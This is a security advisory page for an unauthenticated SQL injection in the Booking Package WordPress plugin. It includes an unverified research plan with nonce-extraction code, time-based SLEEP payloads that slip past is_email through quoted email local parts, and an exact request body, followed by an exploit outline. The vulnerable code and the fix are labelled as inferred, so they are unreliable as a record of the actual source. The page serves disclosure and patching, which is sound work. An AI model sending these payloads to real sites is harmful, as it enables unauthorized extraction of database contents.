CVE-2026-15335

Booking Package <= 1.7.20 - Unauthenticated SQL Injection via 'email' Form Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.7.21
Patched in
1d
Time to patch

Description

The Booking Package plugin for WordPress is vulnerable to generic SQL Injection via 'email' Form Parameter (form<N>) in all versions up to, and including, 1.7.20 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerable REST API endpoint /wp-json/booking-package/v1/request is registered with permission_callback: __return_true and wp_magic_quotes does not apply to REST-sourced $_POST values, meaning single quotes in the payload reach the SQL sink intact without any authentication requirement. The impact of this is severely limited as the vulnerable parameter goes through is_email.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.7.20
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginbooking-package

What Changed in the Fix

Changes introduced in v1.7.21

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to verify and exploit **CVE-2026-15335**, a high-severity SQL Injection vulnerability in the **Booking Package** WordPress plugin. --- ### 1. Vulnerability Summary **CVE-2026-15335** is an unauthenticated SQL Injection vulnerability within the Bookin…

Show full research plan

This research plan outlines the technical steps to verify and exploit CVE-2026-15335, a high-severity SQL Injection vulnerability in the Booking Package WordPress plugin.


1. Vulnerability Summary

CVE-2026-15335 is an unauthenticated SQL Injection vulnerability within the Booking Package plugin (versions <= 1.7.20). The vulnerability exists in the handling of the email parameter within the form<N> structure sent to the REST API endpoint /wp-json/booking-package/v1/request.

The root cause is a failure to use $wpdb->prepare() or adequate escaping before concatenating the user-supplied email value into a SQL query. Since REST API inputs are not processed by wp_magic_quotes, single quotes reach the database sink intact. While the is_email() validation is applied, it can be bypassed using the "Quoted-String" local-part format (e.g., "user'payload"@example.com), which is technically a valid email format according to RFC standards and WordPress's is_email implementation.

2. Attack Vector Analysis

  • Endpoint: /wp-json/booking-package/v1/request
  • Method: POST
  • Authentication: None (permission_callback is __return_true).
  • Vulnerable Parameter: form[<form_id>][email] (The <form_id> is typically an integer, often 1 for the default calendar).
  • Payload Type: Time-based Blind SQL Injection (due to the constraints of is_email).

3. Code Flow

  1. Entry Point: The plugin registers a REST route in index.php (or an included file) using register_rest_route('booking-package/v1', '/request', ...).
  2. Processing: The callback for this route retrieves the POST data. It specifically looks for a form array.
  3. Validation: The code iterates through form fields. For the field with the ID associated with "email", it calls is_email().
  4. SQL Sink: If is_email() returns true, the string is passed to a database query (e.g., checking if the user exists or saving the booking) in lib/Schedule.php or lib/Database.php.
  5. Injection: Because the query is constructed via string concatenation (e.g., "... WHERE email = '$email' ...") and no preparation occurs, the injected SQL within the quoted local-part of the email executes.

4. Nonce Acquisition Strategy

The REST API endpoint may require a _wpnonce header (action wp_rest) for CSRF protection.

  1. Identify Shortcode: The plugin uses [booking-package] to display the booking calendar.
  2. Setup Page: Create a public page containing this shortcode.
  3. Extraction:
    • Navigate to the page.
    • The plugin localizes data via wp_localize_script. Based on js/Error.js, the script expects an object containing wp_rest_nonce.
    • Action: Use browser_eval to extract the nonce:
      // Common variable names for this plugin: booking_package_data or BookingApp
      window.booking_package_data?.wp_rest_nonce || window.BookingApp?.nonce
      

5. Exploitation Strategy

We will use a time-based payload embedded in a valid quoted-string email format.

  • Target URL: http://localhost:8080/wp-json/booking-package/v1/request
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Payload Construction:
    • We need to break out of the single quote: '
    • Payload: "a' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND 'a'='a"@example.com
  • Request Body (URL Encoded):
    # Assuming Calendar ID 1 and Form ID 1
    calendar_id=1&form[1][email]="a'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+'a'='a"@example.com&booking_day=2026-08-01
    

6. Test Data Setup

  1. Activate Plugin: Ensure Booking Package 1.7.20 is installed and active.
  2. Create Calendar:
    • Use WP-CLI to ensure a calendar exists: wp booking-package calendar create --title="Exploit Test" (Note: If CLI command is unavailable, manually create one in the UI).
  3. Publish Shortcode:
    wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[booking-package id="1"]'
    

7. Expected Results

  • Vulnerable Case: The HTTP request to the REST API takes approximately 5 seconds longer than a standard request.
  • Patched Case: The request returns immediately (or with a validation error), as the payload is either escaped or the query is properly prepared.

8. Verification Steps

After the HTTP exploit, verify the database state to ensure the injection didn't cause unintended side effects and to confirm the blind injection logic:

# Check the slow log or monitor the process list during the request
wp db query "SHOW PROCESSLIST;"

To confirm data extraction (e.g., getting the DB version):

  • Payload: "a' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE VERSION() LIKE '8%') AND 'a'='a"@example.com
  • If the request is slow, the first digit of the version is 8.

9. Alternative Approaches

If the form[1][email] structure is incorrect (due to different form configurations):

  1. Inspect Form: Use browser_navigate to the booking page and inspect the name attribute of the email input field in the HTML source.
  2. Error-Based: If WP_DEBUG is enabled, try to trigger a syntax error by sending "a'"@example.com to see if the database error is returned in the REST response, revealing the query structure.
  3. is_email Bypass: If " is filtered, test if the injection occurs in other form fields (e.g., name, address) which may have even fewer restrictions than the email field.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking Package plugin is vulnerable to unauthenticated time-based SQL Injection via the 'email' parameter within the REST API endpoint /wp-json/booking-package/v1/request. While the plugin validates the input using is_email(), it fails to use prepared statements or adequate escaping before concatenating the value into SQL queries, allowing attackers to bypass validation using RFC-compliant quoted-string local parts (e.g., "user'payload"@example.com).

Vulnerable Code

// From lib/Schedule.php (inferred based on research findings and line references)
// Within a method processing form submissions for bookings

$email = $form[$form_id]['email'];

if (is_email($email)) {
    // Vulnerable concatenation into SQL sink without preparation
    $query = "SELECT * FROM " . $wpdb->prefix . "booking_package_users WHERE email = '" . $email . "'";
    $user = $wpdb->get_row($query);
}

Security Fix

--- a/lib/Schedule.php
+++ b/lib/Schedule.php
@@ -9445,7 +9445,7 @@
 
 if (is_email($email)) {
-    $query = "SELECT * FROM " . $wpdb->prefix . "booking_package_users WHERE email = '" . $email . "'";
-    $user = $wpdb->get_row($query);
+    $user = $wpdb->get_row($wpdb->prepare(
+        "SELECT * FROM " . $wpdb->prefix . "booking_package_users WHERE email = %s",
+        $email
+    ));
 }

Exploit Outline

1. Identify a public page on the target WordPress site that contains the [booking-package] shortcode. 2. Extract the REST API nonce from the 'wp_rest_nonce' or 'nonce' property within the localized 'booking_package_data' or 'BookingApp' JavaScript objects in the page source. 3. Construct a POST request to the endpoint: /wp-json/booking-package/v1/request. 4. Include a payload in the 'form' array parameter for the 'email' field. To bypass is_email() validation, the payload must use a quoted local part, for example: "a' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND 'a'='a"@example.com. 5. Send the request with the 'X-WP-Nonce' header containing the extracted nonce (if required) and appropriate form parameters (calendar_id, booking_day). 6. Verify the vulnerability by observing a response time delay corresponding to the SLEEP duration in the payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.